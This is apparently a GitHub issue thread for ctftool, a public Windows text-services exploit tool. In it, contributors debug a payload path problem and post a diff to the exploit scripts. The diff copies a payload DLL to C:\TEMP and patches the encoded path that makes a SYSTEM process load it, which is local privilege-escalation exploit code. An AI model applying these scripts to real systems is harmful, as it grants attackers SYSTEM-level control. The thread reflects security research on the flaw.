Comments (5)
taviso
commented on August 20, 2024
I think I will just need to do
run CMD /C MKDIR C:\TEMP
run CMD /C COPY PAYLOAD64.DLL C:\TEMP\EXPLOIT.DLL
Then update the path accordingly, this thing in ctf-exploit-common-win10.ctf:
# And finally, lets load "../TEMP/EXPLOIT", which should be writable by all users.
set r2 0x5c504d45545c2e2e
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taviso
commented on August 20, 2024
Even easier:
run XCOPY PAYLOAD64.DLL C:\TEMP\EXPLOIT.DLL*
This seems to work, testing on a few VMs now:
diff --git a/scripts/ctf-consent-system.ctf b/scripts/ctf-consent-system.ctf
index ded81b7..fcc7a6e 100644
--- a/scripts/ctf-consent-system.ctf
+++ b/scripts/ctf-consent-system.ctf
@@ -5,14 +5,14 @@
print Attempting to copy exploit payload...
-# This exploit runs LoadLibraryA(C:\WINDOWS\TEMP\EXPLOIT.DLL) as SYSTEM.
-run CMD /C COPY PAYLOAD64.DLL %SYSTEMROOT%\TEMP\EXPLOIT.DLL
+# This exploit runs LoadLibraryA(C:\TEMP\EXPLOIT.DLL) as SYSTEM.
+run XCOPY PAYLOAD64.DLL C:\TEMP\EXPLOIT.DLL*
# Print a warning if that didnt work.
repeat rc print
-repeat rc print !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
-repeat rc print !!! THIS EXPLOIT REQUIRES C:\WINDOWS\TEMP\EXPLOIT.DLL TO EXIST !!!
-repeat rc print !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
+repeat rc print !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
+repeat rc print !!! THIS EXPLOIT REQUIRES C:\TEMP\EXPLOIT.DLL TO EXIST !!!
+repeat rc print !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
repeat rc print
print
diff --git a/scripts/ctf-exploit-common-win10.ctf b/scripts/ctf-exploit-common-win10.ctf
index 98af118..e06af18 100644
--- a/scripts/ctf-exploit-common-win10.ctf
+++ b/scripts/ctf-exploit-common-win10.ctf
@@ -420,7 +420,7 @@ repeat r1 callstub 0 0 r3
print Writing in the payload path "C:\WINDOWS\TEMP\EXPLOIT.DLL"...
# And finally, lets load "../TEMP/EXPLOIT", which should be writable by all users.
-set r2 0x5c504d45545c2e2e
+set r2 0x5c504d45545c3a43
patch 0 0xa8 r0 8 -0x120
set r1 r2
diff --git a/scripts/ctf-logonui-system.ctf b/scripts/ctf-logonui-system.ctf
index 5d28dcc..b2dca0d 100644
--- a/scripts/ctf-logonui-system.ctf
+++ b/scripts/ctf-logonui-system.ctf
@@ -5,8 +5,8 @@
print Attempting to copy exploit payload...
-# This exploit runs LoadLibraryA(C:\WINDOWS\TEMP\EXPLOIT.DLL) as SYSTEM.
-run CMD /C COPY PAYLOAD64.DLL %SYSTEMROOT%\TEMP\EXPLOIT.DLL
+# This exploit runs LoadLibraryA(C:\TEMP\EXPLOIT.DLL) as SYSTEM.
+run XCOPY PAYLOAD64.DLL C:\TEMP\EXPLOIT.DLL*
# Print a warning if that didnt work.
repeat rc printfrom ctftool.
taviso
commented on August 20, 2024
Hmm OK, let's do it.
Maybe I should use C:\CTFTOOL, but I'll wait and see if anyone says this doesn't work first.
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uf0o
commented on August 20, 2024
as a note, the build where I have experienced the issue was 18362.267
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niemand-sec
commented on August 20, 2024
Yep, same issue in Windows 1607. I also fixed it by doing this #2 (comment)
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Related Issues (17)
- found a bug with the exploit. HOT 2
- rc print HOT 1
- No Exe found... HOT 2
- References to c:\WINDOWS\TEMP\ still exist in release HOT 1
- No cmd spawned on Win 10 Enterprise 1809 HOT 13
- No code execution - MSVCP140.dll HOT 8
- Get the error while trying to connect to the server HOT 11
- Unable to find and test ctftool.exe HOT 3
- [Not Bug] Windows Server 20xx HOT 1
- logonui script gives a blank(black screen) and does not spawn cmd.exe HOT 3
- Triggering UAC but then erroring out and not going forward. HOT 2
- cmd not spawned in win 10 1803 HOT 4
- failed to send message to server, giving up, 0xc0000041 HOT 5
- Sorry, I don't recognise stub 0 for thread 10468
- Snapchat password HOT 1
- sendinput
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